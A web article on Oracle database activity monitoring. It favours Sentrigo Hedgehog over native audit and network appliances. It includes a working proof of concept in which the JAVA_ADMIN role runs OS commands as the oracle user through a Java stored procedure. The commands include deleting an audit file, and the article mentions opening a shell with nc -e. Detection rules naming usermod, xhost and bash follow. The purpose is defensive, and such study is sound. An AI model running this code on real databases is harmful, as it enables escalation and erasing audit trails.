Oracle Consulting Oracle Training Oracle Support Development
Home
Catalog
Oracle Books
SQL Server Books
IT Books
Job Interview Books
eBooks
Rampant Horse Books
911 Series
Pedagogue Books

Oracle Software
image
Write for Rampant
Publish with Rampant
Rampant News
Rampant Authors
Rampant Staff
 Phone
 800-766-1884
Oracle News
Oracle Forum
Oracle Tips
Articles by our Authors
Press Releases
SQL Server Books
image
image

Oracle 11g Books

Oracle tuning

Oracle training

Oracle support

Remote Oracle

STATSPACK Viewer

Privacy Policy

 

 
 

Achieving security compliancy and database transparency in the financial services sector using Database Activity Monitoring Systems

Article by author Paul Wright

Paul Wright is the author of "Oracle Forensics" by Rampant TechPress.

The Oracle database has long been used as an effective tool for recording people’s details so it can be collated and queried, thus giving the database owner power over that information. However, to date, the Oracle database has not been so good at recording metadata about how that power is used i.e. the majority of Oracle databases do not have  comprehensive auditing enabled to monitor the people that use it, and what audit is enabled is modifiable by the database owner. So ~Who watches the watchmen? or more traditionally ~Quis custodiet ipsos custodes?

There are a number solutions to the problem of monitoring database activity in Oracle. Firstly there are the multiple Oracle Corp monitoring solutions such as Basic Audit recording to the DB, OS and Syslog. Then for the more adventurous there is Audit Vault. These are well designed solutions used effectively by many customers throughout the world. But these solutions all have the same basic weakness in that they all run with the privileges of the oracle operating system user on the database server. This means that either a DBA with oracle OS credentials or a database attacker who can run code as the oracle user can turn off or modify the audit trail. The Oracle security model is meant to protect OS based audit from DB users but there are a number of ways of accessing the OS as the oracle user from the DB thus making OS based audit insecure (see the code example towards the end of this article).

The most common solution to this requirement has been Network-Based monitoring systems that understand the TNS protocol and record SQL queries over the network in a hardware appliance. The benefit of network monitoring is that it can be done without affecting performance or reliability of the database server. Additionally it can be done without requiring cooperation from the database team. Therefore it has been easy to implement organisationally. However, there are major drawbacks to the network monitoring model in that most privileged database access is via encrypted SSH connections, which cannot be viewed by the network monitoring appliance. Additionally network monitoring appliances only see the text of the SQL over the network and rely on pattern matching to alert to unauthorised activity, thus Network monitoring systems do not understand what effect that SQL will have in the database and cannot identify actual DB objects, only the string in the SQL text.

Additionally Oracle’s audit mechanisms are known for causing some performance loss making them less useful for comprehensive auditing. What is required is a system to allow comprehensive monitoring of database activity that does not detriment performance and cannot be affected by a user who has gained oracle OS privileges. 

On the other hand Host-Based monitoring can read SSH’d connections and can interpret SQL queries in relation to the actual data model and identify the specific objects, thus alerting more accurately. But the problem with Host-Based monitoring is that it has been more likely to cause both performance and compatibility issues in the DB. Additionally Host-Based systems need the cooperation of the database team and this cooperation is difficult to get if it is likely to cause a disruption to the efficient working of the database.

What is required is a Host-Based database monitoring system that is reliable and performant. Given this strong need it is not surprising to see that Sentrigo Inc have decided to concentrate on solving this one problem and have to the Author’s experience they have solved it with their Hedgehog database monitoring solution, which is available as a free Standard Edition (fully functional and non-time limited).

Sentrigo Hedgehog is a sensor agent that is installed on the database server and attaches in Read-Only mode to the shared memory of the SGA and then sends the results of scanning SQL queries, over SSL to the separate Hedgehog server where the alerts are stored.

The Hedgehog sensor agent runs as a separate user from oracle on the DB server OS so it cannot be affected by the DBA or an attacker running code as the oracle OS user. Hedgehog can read SSH’d queries and as the alerts are sent to a remote log host the alerts cannot be modified by the DBA. Because Hedgehog is reading directly from the DB it is less susceptible to signature bypass techniques, and reduces both false positives and false negatives.

Crucially, the performance hit of the sensor can be tuned to be less than 1% of total CPU and memory usage even at times of heavy load. This is done by reducing the sampling frequency of the sensor. For the past year the Author has found this system to be reliable and it has been instrumental in gaining security compliance within the financial services. Achieving transparency of database activity is an important foundation for achieving transparency in the financial sector.

So that is the end of the overview, now let’s get into some of the interesting detail.

The STATEMENT keyword used in the rule shown previously “pattern matches” the SQL as would a network based system. This can be improved by using the OBJECT keyword as follows:

OBJECT=“SYS.FINDRICSET”

The  OBJECT rule will only trigger when that actual object is called not just when any string that contains the FINDRICSET characters is ran. This accuracy is especially useful when profiling usage of data by users with the aim of Data Leak Prevention. Consider a table named customers in a schema named main:

MAIN.CUSTOMERS


A
STATEMENT rule matching on the string CUSTOMERS is likely to trigger a million times on all the columns, code and queries that occur in a large warehouse and happen to contain the string CUSTOMERS.  BUT a rule matching specifically on OBJECT=“MAIN.CUSTOMERS” results in a small number of accurate alerts even when the prefixing schema is omitted from the query. This cures the biggest headache of Data Leak Protection systems i.e. wasted time wading through the flood of false positives.

A new example of using Sentrigo Hedgehog to secure Oracle can be found in the case of the JAVA_ADMIN Oracle database role.

A user holding the JAVA_ADMIN Role will appear to have low privileges:
SQL> SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE='JAVA_ADMIN';

no rows selected

 

SQL> SELECT * FROM DBA_ROLE_PRIVS WHERE GRANTEE='JAVA_ADMIN';

no rows selected

 

SQL> SELECT * FROM DBA_SYS_PRIVS WHERE GRANTEE='JAVA_ADMIN';

no rows selected

But Java is secure as it is sand boxed, right? Not necessarily so. The following proof of concept shows that the JAVA_ADMIN database Role can be used to act as the oracle OS user, which means that the JAVA_ADMIN Role can modify the audit trail recorded to the OS!

The following code was ran on this version of the Oracle database:

 

SQL> SELECT * FROM V$VERSION;

BANNER

---------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Prod

PL/SQL Release 10.2.0.3.0 - Production

CORE  10.2.0.3.0  Production

TNS for Linux: Version 10.2.0.3.0 - Production

NLSRTL Version 10.2.0.3.0 – Production

CREATE USER JAVATEST IDENTIFIED BY JAVATEST;

GRANT CREATE PROCEDURE TO JAVATEST;

GRANT CREATE SESSION TO JAVATEST;

GRANT JAVA_ADMIN TO JAVATEST;

CONN JAVATEST/JAVATEST;

 

CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED javaproc AS

import java.io.*;

public class javaproc{public static String Run(String myString){

try{

Runtime.getRuntime().exec(myString);

return("0");

}

catch (Exception e){

return(e.getMessage());

}

}

}

/

 

begin dbms_java.grant_permission( 'JAVATEST','SYS:java.io.FilePermission','<<ALL FILES>>','execute');

end;

/

 

begin dbms_java.grant_permission( 'JAVATEST','SYS:java.lang.RuntimePermission','writeFileDescriptor','*' );

end;

/

 

begin dbms_java.grant_permission( 'JAVATEST','SYS:java.lang.RuntimePermission','readFileDescriptor','*' );

end;

/

 

CREATE or REPLACE PROCEDURE javaos(Command IN STRING)

AS

LANGUAGE JAVA

NAME 'javaproc.Run(java.lang.String)';

/

 

SQL> call javaos('touch /home/oracle/test_java6.txt');

Call completed.

 

[oracle@dev oracle]$ ls -alt test_java6.txt

-rw-r--r--    1 oracle   oinstall        0 Aug 24 20:56 test_java6.txt

 

SQL> call javaos('rm /home/oracle/test_java6.txt');

Call completed.

 

[oracle@dev oracle]$ ls -alt test_java6.txt

ls: test_java6.txt: No such file or directory

The above PoC commands can be used to delete or modify the OS based audit trail:

SQL> call javaos('rm /u01/app/oracle/admin/orcl/adump/ora_705.aud');

Call completed.

Of course the JAVA_ADMIN Role could also be used to change the oracle unix password, shoot an xterm back to a separate host or shovel a shell back using nc -e.

But what the JAVA_ADMIN can NOT do is switch off or modify Sentrigo Hedgehog auditing as it runs as a separate user from oracle!

So a Sentrigo Hedgehog rule that would alert to JAVA_ADMIN usage would look like this:

Object=“dbms_java.grant_permission”

Rules that would alert to JAVA_ADMIN abuse would look like this:

Statement contains “/usr/sbin/usermod –p” or

Statement contains “xhost”
Statement contains “-e /usr/bin/bash”

The rules can be made more difficult to bypass by using Regular Expressions capturing the same commands obfuscated by comments or blank spaces e.g.

            Statement contains “-e\s*/usr/bin/bash”

This is powerful protection for database systems with security compliancy requirements.

 

   

 Copyright © 1996 -2016 by Burleson. All rights reserved.


Oracle® is the registered trademark of Oracle Corporation. SQL Server® is the registered trademark of Microsoft Corporation. 
Many of the designations used by computer vendors to distinguish their products are claimed as Trademarks